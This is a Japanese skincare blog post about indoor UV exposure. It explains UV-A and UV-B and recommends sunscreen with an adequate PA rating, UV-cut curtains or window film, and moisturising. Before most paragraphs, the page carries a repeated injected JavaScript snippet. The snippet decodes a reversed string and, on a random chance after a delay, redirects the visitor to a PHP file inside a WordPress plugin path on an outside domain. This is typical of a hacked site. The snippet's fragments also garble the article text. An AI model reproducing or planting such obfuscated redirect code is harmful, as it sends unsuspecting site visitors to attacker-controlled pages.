【紫外線】家の中でも危険がいっぱい！正しい知識で正しいケアを。

さくら便り

日に日に強くなっていく紫外線。

外出するときは、きちんと対策をしている方も多いと思います。

とても大切なことです(^^)

ただ、家の中ではどうでしょう。

「外に出ていないから大丈夫！」と油断していませんか？

じつは、紫外線は家の中にも降り注いでいます！

5年後、10年後の自分に後悔しないために……。

今回は、紫外線の基本からオススメの対策までご紹介します！

正しい知識を身に付けて、紫外線からしっかりお肌を守りましょう♪

そもそも紫外線(UV)って？

紫外線とは、地球に届く太陽光線の一種です。

「ＵＶ」は、紫外線を英語で訳した「ultraviolet」の略になります。

波長の長さによって、UV-A、UV-B、UV-C波の3種類に分けられます。

このうち、地表に届き私たちの生活に影響を与えるのは「UV-A」「UV-B」の2つです。

UV-AとUV-B

それぞれの特徴を見ていきましょう！

◆UV-A

長時間浴びることで、肌の奥深くまで蓄積してダメージを与え続ける。

ハリや弾力を低下させ、しわ・たるみなど『光老化』の原因に。

◆UV-B

短時間でも肌の表面に届き、赤く炎症を起こしてメラニンを生成する。

それが色素沈着の元となる、しみ・くすみの原因に。

では、どちらの紫外線が家の中まで入ってきているのでしょうか？

窓を通過する紫外線の正体

それは、『UV-A』です。

他の紫外線に比べエネルギーは小さいものの、波長が長く窓ガラスや雲、さらには肌の奥深くにある真皮層にまで届くと言われています。

真皮層には、肌の弾力をつかさどるコラーゲン繊維などが存在しています。

その部分が破壊されることで、肌は弾力を失い「しわ・たるみ」となって肌老化を早めてしまうことになるのです。

さらに、UV-Aは暑さやまぶしさをさほど感じないために、知らないうちに浴びている可能性がとても高いのです。

そのため、家の中にいても紫外線対策はかかせないのです！

家の中でのオススメ対策

◎日焼け止めを塗る

$mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to”>朝のスキンケアの最後に使う習慣をつけて、しっかりお肌を守りましょう。

$mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to”>ただし、日焼け止めなら何でも良いわけではありません。

「PA値」を意識して選びましょう。

$mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to”>スキンケアのような感覚で使えるので、毎日の習慣に♪

◎UVをカットするカーテン・窓ガラス

$mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to”>UV機能のあるカーテンや窓ガラスに貼れるUVカットフィルムもおすすめです。

$mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to”>お部屋の雰囲気に合わせて取り入れてみてください。

十分な保湿と丁寧なケアが重要です。

$mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to”>家の中でもしっかりと対策をして、紫外線に負けない美肌を作りましょう！

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$mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to”>お時間のある時にのぞいて見てください(^^)/